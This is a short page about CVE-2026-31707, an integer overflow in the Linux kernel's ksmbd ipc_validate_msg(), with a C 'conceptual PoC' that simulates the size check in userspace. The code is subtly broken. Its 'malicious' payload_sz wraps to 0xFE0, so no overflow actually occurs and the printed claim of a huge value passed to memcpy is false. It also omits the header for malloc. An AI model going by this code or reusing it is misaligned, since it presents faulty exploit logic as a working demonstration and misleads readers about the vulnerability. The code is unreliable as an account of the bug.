CVE-2026-31707: Linux内核ksmbd整数溢出漏洞

/* * Conceptual PoC for CVE-2026-31707 * Demonstrating the integer overflow logic in ksmbd ipc_validate_msg() */ #include <stdio.h> #include <stdint.h> // Simulate the struct sizes and types mentioned in the vulnerability #define SIZEOF_STRUCT 0x20 // Hypothetical size of struct ksmbd_rpc_command typedef uint32_t __u32; typedef int32_t __s32; struct ksmbd_rpc_command { __u32 payload_sz; // Attacker controlled field }; void check_overflow_poc() { struct ksmbd_rpc_command *resp = malloc(sizeof(struct ksmbd_rpc_command)); // Scenario 1: Integer Overflow in Addition // Goal: Bypass a check where expected msg_sz is 0x1000 (4096) // Calculation: msg_sz = sizeof(struct) + resp->payload_sz // If we want msg_sz to wrap around to 0x1000 // We set payload_sz to a very large value that causes overflow. __u32 target_size = 0x1000; // Calculate payload_sz needed to overflow and result in target_size // (SIZEOF_STRUCT + payload_sz) % UINT_MAX = target_size // payload_sz = target_size - SIZEOF_STRUCT (if no overflow) OR // payload_sz = UINT_MAX - SIZEOF_STRUCT + 1 + target_size __u32 malicious_payload_sz = UINT32_MAX - SIZEOF_STRUCT + 1 + target_size; resp->payload_sz = malicious_payload_sz; // Simulate the vulnerable calculation __u32 msg_sz = SIZEOF_STRUCT + resp->payload_sz; printf("Payload_sz: 0x%x\n", resp->payload_sz); printf("Calculated msg_sz: 0x%x\n", msg_sz); if (msg_sz == target_size) { printf("[+] Check bypassed! Integer overflow successful.\n"); printf("[!] Downstream memcpy will now use huge payload_sz: 0x%x\n", resp->payload_sz); // This leads to heap overflow or OOB read } else { printf("[-] Check failed.\n"); } free(resp); } int main() { check_overflow_poc(); return 0; }